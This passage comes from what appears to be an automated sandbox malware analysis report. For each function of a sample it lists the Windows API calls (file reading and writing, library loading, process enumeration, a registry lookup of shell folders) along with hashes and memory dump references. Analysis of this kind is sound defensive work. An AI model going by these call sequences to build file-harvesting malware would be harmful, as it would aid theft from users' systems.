                                                                                            • Instruction Fuzzy Hash: F331BE72A00214EBDF10DF59C881A9EB7B4EF48714F24959AE804AF242C775EE41CB98
                                                                                            Function 0040B1AB Relevance: 2.5, APIs: 2, Instructions: 14COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: free
                                                                                            • String ID:
                                                                                            • API String ID: 1294909896-0
                                                                                            • Opcode ID: cbd9f9e03ce833727f217058398efad0a096bf54ba10072877aeedcd786ebb4c
                                                                                            • Instruction ID: 7f33cc2486ffea160e999b9abaf125df84647c5341351ad01334bd221cd3bada
                                                                                            • Opcode Fuzzy Hash: cbd9f9e03ce833727f217058398efad0a096bf54ba10072877aeedcd786ebb4c
                                                                                            • Instruction Fuzzy Hash: 32D042B0404B008ED7B0DF39D401602BBF0AB093143118D2E90AAC2A50E775A0149F08
                                                                                            Function 00403988 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00403A16: memset.MSVCRT ref: 00403A55
                                                                                              • Part of subcall function 0040A02C: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,02000000,00000000,00000000,00000000,004039CA,00000000,?,00000000,?,00000000), ref: 0040A044
                                                                                              • Part of subcall function 0040A02C: GetFileTime.KERNEL32(00000000,00000000,00000000,?), ref: 0040A058
                                                                                              • Part of subcall function 0040A02C: CloseHandle.KERNELBASE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,004455D5), ref: 0040A061
                                                                                            • CompareFileTime.KERNEL32(?,?,00000000,?,00000000), ref: 004039D4
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: File$Time$CloseCompareCreateHandlememset
                                                                                            • String ID:
                                                                                            • API String ID: 2154303073-0
                                                                                            • Opcode ID: b49b02137a533de872d41cf471f5063eaa0d82b3b55f9ade19adc7adaa1443d9
                                                                                            • Instruction ID: d476be81a684c5cf971044fbd14bb177a9e73989d843208b34704cc982626f94
                                                                                            • Opcode Fuzzy Hash: b49b02137a533de872d41cf471f5063eaa0d82b3b55f9ade19adc7adaa1443d9
                                                                                            • Instruction Fuzzy Hash: 11111CB6D00218ABCB11EFA5D9415DEBBB9EF44315F20407BE841F7281DA389F45CB95
                                                                                            Function 004135F7 Relevance: 1.5, APIs: 1, Instructions: 44libraryloaderCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 004135E0: FreeLibrary.KERNELBASE(?,00413603,00000000,0044557A,?,?,?,?,?,00403335,?), ref: 004135EC
                                                                                              • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                                                                                              • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(C:\Windows\system32,00000104), ref: 0040A841
                                                                                              • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                              • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                                                                                              • Part of subcall function 0040A804: LoadLibraryW.KERNELBASE(00000000), ref: 0040A87B
                                                                                              • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?), ref: 0040A884
                                                                                            • GetProcAddress.KERNEL32(?,00000000), ref: 0041362A
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: Library$Load$AddressDirectoryFreeProcSystemmemsetwcscatwcscpy
                                                                                            • String ID:
                                                                                            • API String ID: 3150196962-0
                                                                                            • Opcode ID: be26bcaf2987f4035eeff70895753d9ab226293c41c78703657a1ba2214892b4
                                                                                            • Instruction ID: 35a9ad0fe6b4507ee66bae46934dcfd2e139bf0842d10804986ce3ee8b034d80
                                                                                            • Opcode Fuzzy Hash: be26bcaf2987f4035eeff70895753d9ab226293c41c78703657a1ba2214892b4
                                                                                            • Instruction Fuzzy Hash: BBF0A4311447126AE6306B7AAC02BE762849F00725F10862EB425D55D1EFA8D5C046AC
                                                                                            Function 004062A6 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SetFilePointerEx.KERNELBASE(0040627C,?,?,00000000,00000000,00000000,004068F9,00000000,00000000,?,00000000,0040627C), ref: 004062C2
                                                                                              • Part of subcall function 0040A2EF: ReadFile.KERNELBASE(00000000,00000000,004450DD,00000000,00000000,?,?,004450DD,00000000,00000000), ref: 0040A306
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: File$PointerRead
                                                                                            • String ID:
                                                                                            • API String ID: 3154509469-0
                                                                                            • Opcode ID: f15afef8f4b97f48ba7652cd85e3a24bc41a353f13de395cadc5358a8aad8795
                                                                                            • Instruction ID: d794e9b43e5f56b2d2e2073d65b81241c22a9a75ad02cc9b2284f18e77a2fe0f
                                                                                            • Opcode Fuzzy Hash: f15afef8f4b97f48ba7652cd85e3a24bc41a353f13de395cadc5358a8aad8795
                                                                                            • Instruction Fuzzy Hash: 45E01276100100FFE6619B05DC06F57FBB9FBD4710F14883DB59596174C6326851CB25
                                                                                            Function 00414561 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetPrivateProfileIntW.KERNEL32(?,?,?,?), ref: 00414588
                                                                                              • Part of subcall function 004143F1: memset.MSVCRT ref: 00414410
                                                                                              • Part of subcall function 004143F1: _itow.MSVCRT ref: 00414427
                                                                                              • Part of subcall function 004143F1: WritePrivateProfileStringW.KERNEL32(?,?,00000000), ref: 00414436
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: PrivateProfile$StringWrite_itowmemset
                                                                                            • String ID:
                                                                                            • API String ID: 4232544981-0
                                                                                            • Opcode ID: 58bd15f6e23597088465cc0f12acd7a0529fd6d647dc9a4ec136155e63c93ad6
                                                                                            • Instruction ID: 104e910b762de94586eb11e4c264cf061db1895f8dce3fe8c281d71359574313
                                                                                            • Opcode Fuzzy Hash: 58bd15f6e23597088465cc0f12acd7a0529fd6d647dc9a4ec136155e63c93ad6
                                                                                            • Instruction Fuzzy Hash: 8EE09232000209ABDF125F91EC01AA93B66FF54315F548469F95C05520D33295B0AB59
                                                                                            Function 00444A54 Relevance: 1.5, APIs: 1, Instructions: 18COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • FreeLibrary.KERNELBASE(?,?,004452FB,?,?,?,0040333C,?), ref: 00444A65
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: FreeLibrary
                                                                                            • String ID:
                                                                                            • API String ID: 3664257935-0
                                                                                            • Opcode ID: 8c39ef9eaf727128d218f1dddc73c1f621731b9859e7ea9690b0e693fd97a8de
                                                                                            • Instruction ID: 9043d1e372537a54137ae43dcd20834ee918eeaa55a47e8e1dedab4d47514996
                                                                                            • Opcode Fuzzy Hash: 8c39ef9eaf727128d218f1dddc73c1f621731b9859e7ea9690b0e693fd97a8de
                                                                                            • Instruction Fuzzy Hash: E2E0F6B5900B018FD3708F1BE944406FBF8BFE56113108A1FD4AAC2A24D7B4A1898F54
                                                                                            Function 00413F27 Relevance: 1.5, APIs: 1, Instructions: 15COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00413F4F: GetProcAddress.KERNEL32(00000000,psapi.dll), ref: 00413F6F
                                                                                              • Part of subcall function 00413F4F: GetProcAddress.KERNEL32(?,EnumProcessModules), ref: 00413F7B
                                                                                              • Part of subcall function 00413F4F: GetProcAddress.KERNEL32(?,GetModuleFileNameExW), ref: 00413F87
                                                                                              • Part of subcall function 00413F4F: GetProcAddress.KERNEL32(?,EnumProcesses), ref: 00413F93
                                                                                              • Part of subcall function 00413F4F: GetProcAddress.KERNEL32(?,GetModuleInformation), ref: 00413F9F
                                                                                            • K32GetModuleFileNameExW.KERNEL32(00000104,00000000,00413E1F,00000104,00413E1F,00000000,?), ref: 00413F46
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: AddressProc$FileModuleName
                                                                                            • String ID:
                                                                                            • API String ID: 3859505661-0
                                                                                            • Opcode ID: 115f5329003125d907eaa6c1792e5f10a4de8ddb58c38107801da2991a4e6f4b
                                                                                            • Instruction ID: eb737a8a997ed41d0f7a348c178ce8d4b8225706e43eb580f21eee6dbde26bc7
                                                                                            • Opcode Fuzzy Hash: 115f5329003125d907eaa6c1792e5f10a4de8ddb58c38107801da2991a4e6f4b
                                                                                            • Instruction Fuzzy Hash: 6FD02231B083007BEA20EE70CC00FCBA2F47F40F12F008C5AB191D2080C374C9495305
                                                                                            Function 0040A2EF Relevance: 1.5, APIs: 1, Instructions: 13fileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • ReadFile.KERNELBASE(00000000,00000000,004450DD,00000000,00000000,?,?,004450DD,00000000,00000000), ref: 0040A306
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: FileRead
                                                                                            • String ID:
                                                                                            • API String ID: 2738559852-0
                                                                                            • Opcode ID: 954c46e0e75d823fede48ea8c55c2feae074eed5d1d1543d384a91c6a040f523
                                                                                            • Instruction ID: df780c2d30ec27a436fe2e8938b9b3026ee6fdf868a35847a3a0dbf755fefbc9
                                                                                            • Opcode Fuzzy Hash: 954c46e0e75d823fede48ea8c55c2feae074eed5d1d1543d384a91c6a040f523
                                                                                            • Instruction Fuzzy Hash: 6DD0C97505020DFBDF01CF81DC06FDD7B7DFB05359F108054BA0095060C7759A15AB55
                                                                                            Function 0040A30E Relevance: 1.5, APIs: 1, Instructions: 13fileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • WriteFile.KERNELBASE(00000000,00000000,00000000,00000000,00000000,?,?,0041056A,00000000,004538EC,00000002,?,00412758,00000000,00000000,?), ref: 0040A325
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: FileWrite
                                                                                            • String ID:
                                                                                            • API String ID: 3934441357-0
                                                                                            • Opcode ID: ceb9d1a6229db680868981d1c52190471358147ed4569e3c2bde9500725be326
                                                                                            • Instruction ID: 3280266517864b8de079c100525e5277478ec149926fcdeece843fe2c70d8c86
                                                                                            • Opcode Fuzzy Hash: ceb9d1a6229db680868981d1c52190471358147ed4569e3c2bde9500725be326
                                                                                            • Instruction Fuzzy Hash: CFD0C93501020DFBDF01CF81DC06FDD7BBDFB04359F108054BA1095060D7B59A20AB94
                                                                                            Function 00413D29 Relevance: 1.5, APIs: 1, Instructions: 13COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • FreeLibrary.KERNELBASE(00000000,004457F2,00000000,000001F7,00000000), ref: 00413D30
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: FreeLibrary
                                                                                            • String ID:
                                                                                            • API String ID: 3664257935-0
                                                                                            • Opcode ID: 1d54aae614fa8c55dcd640132eb097a684c5c1cfdaa339356b04098da49b3b41
                                                                                            • Instruction ID: 8f6381f957debc367d4a0444659be52de1bfd3a154b3998764173f6a98a011bd
                                                                                            • Opcode Fuzzy Hash: 1d54aae614fa8c55dcd640132eb097a684c5c1cfdaa339356b04098da49b3b41
                                                                                            • Instruction Fuzzy Hash: 1DD0C9765002229BDB10AF26EC057857378FF00712B110425E810B7594D778BEE68ADC
                                                                                            Function 004096C3 Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000,0044509F,00000000,?,00000000,00000104,00445E7E,?,?), ref: 004096D5
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: CreateFile
                                                                                            • String ID:
                                                                                            • API String ID: 823142352-0
                                                                                            • Opcode ID: 5246709bc6ec1dabf70528f5ad42ffc01d78c7e2d09fe5df7c46969d7a5ea179
                                                                                            • Instruction ID: 15e4bfb1af8ab284213ec8af4af1ca3ed9a3c322684c6da9746693c795416a08
                                                                                            • Opcode Fuzzy Hash: 5246709bc6ec1dabf70528f5ad42ffc01d78c7e2d09fe5df7c46969d7a5ea179
                                                                                            • Instruction Fuzzy Hash: A8C092B0280200BEFE224B10EC15F36755CE744700F2008247E40F40E0C1605E108524
                                                                                            Function 004096DC Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • CreateFileW.KERNELBASE(00000000,40000000,00000001,00000000,00000002,00000000,00000000,0041052B,00000000,?,00412758,00000000,00000000,?,00000000,00000000), ref: 004096EE
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: CreateFile
                                                                                            • String ID:
                                                                                            • API String ID: 823142352-0
                                                                                            • Opcode ID: ab7a8cdf7eb8bf952c1c1b88a04d9996938fd5cdd98684eb6691b5f60f9c195d
                                                                                            • Instruction ID: 13aef0f41518da9c32968a96bed17b980f0e8f352a8d1793a660c4ee04e7d177
                                                                                            • Opcode Fuzzy Hash: ab7a8cdf7eb8bf952c1c1b88a04d9996938fd5cdd98684eb6691b5f60f9c195d
                                                                                            • Instruction Fuzzy Hash: B8C012F02903007EFF204B10AC0AF37755DF784700F2048207E40F40E1C2B15C008524
                                                                                            Function 0040B04B Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • ??3@YAXPAX@Z.MSVCRT(00000000,0040AFD7,00000000,0040B608), ref: 0040B052
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: ??3@
                                                                                            • String ID:
                                                                                            • API String ID: 613200358-0
                                                                                            • Opcode ID: ffbe44a51c26d842ca56a491b3c7d92fb1c4d2adc00a6a519549e0909776451f
                                                                                            • Instruction ID: 6ff791ec813821c2e9e24527ebed0d702daabad41f6d5d50af9b89e3d4ad0470
                                                                                            • Opcode Fuzzy Hash: ffbe44a51c26d842ca56a491b3c7d92fb1c4d2adc00a6a519549e0909776451f
                                                                                            • Instruction Fuzzy Hash: ADC09BB15117014BE7305F15D40471373D49F11727F318C1DA5D1914C2D77CD4408518
                                                                                            Function 004135E0 Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • FreeLibrary.KERNELBASE(?,00413603,00000000,0044557A,?,?,?,?,?,00403335,?), ref: 004135EC
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: FreeLibrary
                                                                                            • String ID:
                                                                                            • API String ID: 3664257935-0
                                                                                            • Opcode ID: 844f7501f44133ba018c3401d7aef3826eb6c790b17bce713828cee3c51aa695
                                                                                            • Instruction ID: 97b2006ec1e2dd28fddd19cbcf35086f2a6b1d7d6d8af37d8808782836c913ed
                                                                                            • Opcode Fuzzy Hash: 844f7501f44133ba018c3401d7aef3826eb6c790b17bce713828cee3c51aa695
                                                                                            • Instruction Fuzzy Hash: C1C04C355107129BE7318F22C849793B3E8BB00767F40C818A56A85454D7BCE594CE28
                                                                                            Function 0041493C Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • EnumResourceNamesW.KERNELBASE(?,?,004148B6,00000000), ref: 0041494B
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: EnumNamesResource
                                                                                            • String ID:
                                                                                            • API String ID: 3334572018-0
                                                                                            • Opcode ID: 66f1156765df5e37ef2ff2f84c2d9879992723494834984b76c3e66af834c78a
                                                                                            • Instruction ID: 4cd0fc1a45efe5f4a77ff86a676eea9814a6d41529a344ef69fdb726e0e13cac
                                                                                            • Opcode Fuzzy Hash: 66f1156765df5e37ef2ff2f84c2d9879992723494834984b76c3e66af834c78a
                                                                                            • Instruction Fuzzy Hash: 5CC09B355943819FD711DF108C05F1A76D5BF95705F104C397151940A0C7614014A60A
                                                                                            Function 0044DEA5 Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • FreeLibrary.KERNELBASE(00000000), ref: 0044DEB6
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: FreeLibrary
                                                                                            • String ID:
                                                                                            • API String ID: 3664257935-0
                                                                                            • Opcode ID: bc29afbdeb633a61cc40634aee98d5405fe4c9068b08d77425fcd78e2ed3a7cd
                                                                                            • Instruction ID: c12df66a07a312a107e4de7a98dbd39cb061029a89fa16cd2619b088cce9516a
                                                                                            • Opcode Fuzzy Hash: bc29afbdeb633a61cc40634aee98d5405fe4c9068b08d77425fcd78e2ed3a7cd
                                                                                            • Instruction Fuzzy Hash: 95C04C35D10311ABFB31AB11ED4975232A5BB00717F52006494128D065D7B8E454CB2D
                                                                                            Function 0040AEBE Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • FindClose.KERNELBASE(?,0040AE21,?,00000000,00445EF5,*.*,?,00000000,?,00000104,?,?,?,?,?,00000104), ref: 0040AEC8
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: CloseFind
                                                                                            • String ID:
                                                                                            • API String ID: 1863332320-0
                                                                                            • Opcode ID: c351b702f3e9cabc65afcca29c8835cc335007c1b5069ed2425bca2f993f3ba3
                                                                                            • Instruction ID: 0a5868f0c47a417661f40efe111cada53839b745ef6d73ffe26d621af3302058
                                                                                            • Opcode Fuzzy Hash: c351b702f3e9cabc65afcca29c8835cc335007c1b5069ed2425bca2f993f3ba3
                                                                                            • Instruction Fuzzy Hash: 06C092341506058BD62C5F38DC9A42A77A0BF4A3303B40F6CA0F3D24F0E73888538A04
                                                                                            Function 00414592 Relevance: 1.5, APIs: 1, Instructions: 7registryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • RegOpenKeyExW.KERNELBASE(80000002,80000002,00000000,00020019,80000002,00414CC1,80000002,Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders,00445DDE,?,?,00000000), ref: 004145A5
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
